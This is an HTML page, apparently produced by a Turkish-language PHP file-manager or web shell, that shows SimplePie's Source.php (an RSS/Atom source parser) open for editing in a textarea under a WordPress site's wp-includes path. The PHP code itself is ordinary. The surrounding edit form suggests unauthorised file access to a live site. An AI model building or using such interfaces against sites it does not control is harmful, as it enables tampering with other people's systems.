?<h3>D¨ızenle: Source.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `&lt;atom:source&gt;`
 *
 * Used by {@see \SimplePie\Item::get_source()}
 *
 * This class can be overloaded with {@see \SimplePie::set_source_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Source implements RegistryAware
{
    public $item;
    public $data = [];
    protected $registry;

    public function __construct($item, $data)
    {
        $this-&gt;item = $item;
        $this-&gt;data = $data;
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this-&gt;registry = $registry;
    }

    public function __toString()
    {
        return md5(serialize($this-&gt;data));
    }

    public function get_source_tags($namespace, $tag)
    {
        if (isset($this-&gt;data[&#039;child&#039;][$namespace][$tag])) {
            return $this-&gt;data[&#039;child&#039;][$namespace][$tag];
        }

        return null;
    }

    public function get_base($element = [])
    {
        return $this-&gt;item-&gt;get_base($element);
    }

    public function sanitize($data, $type, $base = &#039;&#039;)
    {
        return $this-&gt;item-&gt;sanitize($data, $type, $base);
    }

    public function get_item()
    {
        return $this-&gt;item;
    }

    public function get_title()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], $this-&gt;registry-&gt;call(Misc::class, &#039;atom_10_construct_type&#039;, [$return[0][&#039;attribs&#039;]]), $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], $this-&gt;registry-&gt;call(Misc::class, &#039;atom_03_construct_type&#039;, [$return[0][&#039;attribs&#039;]]), $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, &#039;title&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_category($key = 0)
    {
        $categories = $this-&gt;get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;category&#039;) as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category[&#039;attribs&#039;][&#039;&#039;][&#039;term&#039;])) {
                $term = $this-&gt;sanitize($category[&#039;attribs&#039;][&#039;&#039;][&#039;term&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category[&#039;attribs&#039;][&#039;&#039;][&#039;scheme&#039;])) {
                $scheme = $this-&gt;sanitize($category[&#039;attribs&#039;][&#039;&#039;][&#039;scheme&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category[&#039;attribs&#039;][&#039;&#039;][&#039;label&#039;])) {
                $label = $this-&gt;sanitize($category[&#039;attribs&#039;][&#039;&#039;][&#039;label&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this-&gt;registry-&gt;create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, &#039;category&#039;) as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this-&gt;sanitize($category[&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category[&#039;attribs&#039;][&#039;&#039;][&#039;domain&#039;])) {
                $scheme = $this-&gt;sanitize($category[&#039;attribs&#039;][&#039;&#039;][&#039;domain&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this-&gt;registry-&gt;create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, &#039;subject&#039;) as $category) {
            $categories[] = $this-&gt;registry-&gt;create(Category::class, [$this-&gt;sanitize($category[&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, &#039;subject&#039;) as $category) {
            $categories[] = $this-&gt;registry-&gt;create(Category::class, [$this-&gt;sanitize($category[&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    public function get_author($key = 0)
    {
        $authors = $this-&gt;get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;author&#039;) as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;name&#039;][0][&#039;data&#039;])) {
                $name = $this-&gt;sanitize($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;name&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;uri&#039;][0][&#039;data&#039;])) {
                $uri = $this-&gt;sanitize($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;uri&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;uri&#039;][0]));
            }
            if (isset($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;email&#039;][0][&#039;data&#039;])) {
                $email = $this-&gt;sanitize($author[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;email&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this-&gt;registry-&gt;create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, &#039;author&#039;)) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;name&#039;][0][&#039;data&#039;])) {
                $name = $this-&gt;sanitize($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;name&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;url&#039;][0][&#039;data&#039;])) {
                $url = $this-&gt;sanitize($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;url&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;url&#039;][0]));
            }
            if (isset($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;email&#039;][0][&#039;data&#039;])) {
                $email = $this-&gt;sanitize($author[0][&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;email&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this-&gt;registry-&gt;create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, &#039;creator&#039;) as $author) {
            $authors[] = $this-&gt;registry-&gt;create(Author::class, [$this-&gt;sanitize($author[&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, &#039;creator&#039;) as $author) {
            $authors[] = $this-&gt;registry-&gt;create(Author::class, [$this-&gt;sanitize($author[&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, &#039;author&#039;) as $author) {
            $authors[] = $this-&gt;registry-&gt;create(Author::class, [$this-&gt;sanitize($author[&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    public function get_contributor($key = 0)
    {
        $contributors = $this-&gt;get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;contributor&#039;) as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;name&#039;][0][&#039;data&#039;])) {
                $name = $this-&gt;sanitize($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;name&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;uri&#039;][0][&#039;data&#039;])) {
                $uri = $this-&gt;sanitize($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;uri&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;uri&#039;][0]));
            }
            if (isset($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;email&#039;][0][&#039;data&#039;])) {
                $email = $this-&gt;sanitize($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_10][&#039;email&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this-&gt;registry-&gt;create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, &#039;contributor&#039;) as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;name&#039;][0][&#039;data&#039;])) {
                $name = $this-&gt;sanitize($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;name&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;url&#039;][0][&#039;data&#039;])) {
                $url = $this-&gt;sanitize($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;url&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;url&#039;][0]));
            }
            if (isset($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;email&#039;][0][&#039;data&#039;])) {
                $email = $this-&gt;sanitize($contributor[&#039;child&#039;][\SimplePie\SimplePie::NAMESPACE_ATOM_03][&#039;email&#039;][0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this-&gt;registry-&gt;create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    public function get_link($key = 0, $rel = &#039;alternate&#039;)
    {
        $links = $this-&gt;get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Added for parity between the parent-level and the item/entry-level.
     */
    public function get_permalink()
    {
        return $this-&gt;get_link(0);
    }

    public function get_links($rel = &#039;alternate&#039;)
    {
        if (!isset($this-&gt;data[&#039;links&#039;])) {
            $this-&gt;data[&#039;links&#039;] = [];
            if ($links = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;link&#039;)) {
                foreach ($links as $link) {
                    if (isset($link[&#039;attribs&#039;][&#039;&#039;][&#039;href&#039;])) {
                        $link_rel = (isset($link[&#039;attribs&#039;][&#039;&#039;][&#039;rel&#039;])) ? $link[&#039;attribs&#039;][&#039;&#039;][&#039;rel&#039;] : &#039;alternate&#039;;
                        $this-&gt;data[&#039;links&#039;][$link_rel][] = $this-&gt;sanitize($link[&#039;attribs&#039;][&#039;&#039;][&#039;href&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($link));
                    }
                }
            }
            if ($links = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, &#039;link&#039;)) {
                foreach ($links as $link) {
                    if (isset($link[&#039;attribs&#039;][&#039;&#039;][&#039;href&#039;])) {
                        $link_rel = (isset($link[&#039;attribs&#039;][&#039;&#039;][&#039;rel&#039;])) ? $link[&#039;attribs&#039;][&#039;&#039;][&#039;rel&#039;] : &#039;alternate&#039;;
                        $this-&gt;data[&#039;links&#039;][$link_rel][] = $this-&gt;sanitize($link[&#039;attribs&#039;][&#039;&#039;][&#039;href&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($link));
                    }
                }
            }
            if ($links = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, &#039;link&#039;)) {
                $this-&gt;data[&#039;links&#039;][&#039;alternate&#039;][] = $this-&gt;sanitize($links[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($links[0]));
            }
            if ($links = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, &#039;link&#039;)) {
                $this-&gt;data[&#039;links&#039;][&#039;alternate&#039;][] = $this-&gt;sanitize($links[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($links[0]));
            }
            if ($links = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, &#039;link&#039;)) {
                $this-&gt;data[&#039;links&#039;][&#039;alternate&#039;][] = $this-&gt;sanitize($links[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($links[0]));
            }

            $keys = array_keys($this-&gt;data[&#039;links&#039;]);
            foreach ($keys as $key) {
                if ($this-&gt;registry-&gt;call(Misc::class, &#039;is_isegment_nz_nc&#039;, [$key])) {
                    if (isset($this-&gt;data[&#039;links&#039;][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this-&gt;data[&#039;links&#039;][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this-&gt;data[&#039;links&#039;][$key], $this-&gt;data[&#039;links&#039;][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this-&gt;data[&#039;links&#039;][$key] = &amp;$this-&gt;data[&#039;links&#039;][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this-&gt;data[&#039;links&#039;][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &amp;$this-&gt;data[&#039;links&#039;][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this-&gt;data[&#039;links&#039;][substr($key, 41)] = &amp;$this-&gt;data[&#039;links&#039;][$key];
                }
                $this-&gt;data[&#039;links&#039;][$key] = array_unique($this-&gt;data[&#039;links&#039;][$key]);
            }
        }

        if (isset($this-&gt;data[&#039;links&#039;][$rel])) {
            return $this-&gt;data[&#039;links&#039;][$rel];
        }

        return null;
    }

    public function get_description()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;subtitle&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], $this-&gt;registry-&gt;call(Misc::class, &#039;atom_10_construct_type&#039;, [$return[0][&#039;attribs&#039;]]), $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, &#039;tagline&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], $this-&gt;registry-&gt;call(Misc::class, &#039;atom_03_construct_type&#039;, [$return[0][&#039;attribs&#039;]]), $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, &#039;description&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, &#039;description&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, &#039;description&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, &#039;description&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, &#039;description&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, &#039;summary&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_HTML, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, &#039;subtitle&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_HTML, $this-&gt;get_base($return[0]));
        }

        return null;
    }

    public function get_copyright()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;rights&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], $this-&gt;registry-&gt;call(Misc::class, &#039;atom_10_construct_type&#039;, [$return[0][&#039;attribs&#039;]]), $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, &#039;copyright&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], $this-&gt;registry-&gt;call(Misc::class, &#039;atom_03_construct_type&#039;, [$return[0][&#039;attribs&#039;]]), $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, &#039;copyright&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, &#039;rights&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, &#039;rights&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_language()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, &#039;language&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, &#039;language&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, &#039;language&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (isset($this-&gt;data[&#039;xml_lang&#039;])) {
            return $this-&gt;sanitize($this-&gt;data[&#039;xml_lang&#039;], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_latitude()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, &#039;lat&#039;)) {
            return (float) $return[0][&#039;data&#039;];
        } elseif (($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, &#039;point&#039;)) &amp;&amp; preg_match(&#039;/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/&#039;, trim($return[0][&#039;data&#039;]), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    public function get_longitude()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, &#039;long&#039;)) {
            return (float) $return[0][&#039;data&#039;];
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, &#039;lon&#039;)) {
            return (float) $return[0][&#039;data&#039;];
        } elseif (($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, &#039;point&#039;)) &amp;&amp; preg_match(&#039;/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/&#039;, trim($return[0][&#039;data&#039;]), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    public function get_image_url()
    {
        if ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, &#039;image&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;attribs&#039;][&#039;&#039;][&#039;href&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI);
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;logo&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($return[0]));
        } elseif ($return = $this-&gt;get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, &#039;icon&#039;)) {
            return $this-&gt;sanitize($return[0][&#039;data&#039;], \SimplePie\SimplePie::CONSTRUCT_IRI, $this-&gt;get_base($return[0]));
        }

        return null;
    }
}

class_alias(&#039;SimplePie\Source&#039;, &#039;SimplePie_Source&#039;);
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fm.elifov%2Fstudyondalinda.com%2Fwp-includes%2FSimplePie'>?? Yukar?</a>